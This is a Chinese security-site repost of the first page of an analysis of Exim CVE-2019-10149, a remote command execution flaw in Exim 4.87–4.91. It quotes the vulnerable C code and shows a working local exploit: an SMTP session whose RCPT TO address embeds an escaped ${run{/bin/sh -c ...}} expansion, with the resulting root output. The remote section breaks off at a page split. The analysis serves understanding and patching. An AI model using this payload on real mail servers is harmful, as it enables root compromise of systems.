欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Exim远程命令执行漏洞分析(CVE-2019-10149)

来源:本站整理 作者:佚名 时间:2019-06-10 TAG: 我要投稿


 
0x00 前言
在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的Exim存在一个远程命令执行(RCE)漏洞。这里RCE指的是远程命令执行(Remote Command Execution),而不是远程代码执行(Remote Code Execution):攻击者可以以root权限使用execv()来执行任意命令,利用过程中不涉及到内存破坏或者ROP(Return-Oriented Programming)相关内容。
这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。
从4.87版开始(2016年4月6日公布),由于#ifdef EXPERIMENTAL_EVENT改成了#ifndef DISABLE_EVENT,因此Exim默认情况下就存在漏洞。在之前的版本中,如果手动启用了EXPERIMENTAL_EVENT选项,那么服务器也会存在漏洞。令人惊讶的是,这个漏洞已经在4.92版中被修复(2019年2月10日):
https://github.com/Exim/exim/commit/7ea1237c783e380d7bdb86c90b13d8203c7ecf26
https://bugs.exim.org/show_bug.cgi?id=2310
然而Exim并没有把这个问题当成安全漏洞,因此大多数操作系统都会受到影响。比如,我们在最新的Debian发行版(9.9)中就成功利用了该漏洞。
 
0x01 本地利用
漏洞代码位于deliver_message()中:
6122 #ifndef DISABLE_EVENT
6123       if (process_recipients != RECIP_ACCEPT)
6124         {
6125         uschar * save_local =  deliver_localpart;
6126         const uschar * save_domain = deliver_domain;
6127
6128         deliver_localpart = expand_string(
6129                       string_sprintf("${local_part:%s}", new->address));
6130         deliver_domain =    expand_string(
6131                       string_sprintf("${domain:%s}", new->address));
6132
6133         (void) event_raise(event_action,
6134                       US"msg:fail:internal", new->message);
6135
6136         deliver_localpart = save_local;
6137         deliver_domain =    save_domain;
6138         }
6139 #endif
由于expand_string()可以识别${run{ }}扩展项,且new->address是正在投递的邮件的收件方,因此本地攻击者可以向${run{...}}@localhost发送一封邮件(其中localhost是Exim的某个本地域),以root权限执行任意命令(默认情况下deliver_drop_privilege的值为false)。
操作过程如下所示:
john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory
john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:
250 OK
RCPT TO:${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection
john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied
root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
在这个例子中:
我们向邮件服务器发送了多个Received:头(超过received_headers_max,这个值默认为30),从而执行存在漏洞的代码。
我们使用反斜杠转义了收件方地址中的无效字符, 以便expand_string()后续处理(在expand_string_internal()以及transport_set_up_command()函数中会调用)。
 
0x02 远程利用
我们的本地利用方法并不适合于远程利用场景,这是因为Exim默认配置的verify = recipient ACL(访问控制列表)会要求收件人地址的本地部分(即@之前的部分)必须是本地用户的名称,如下所示:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载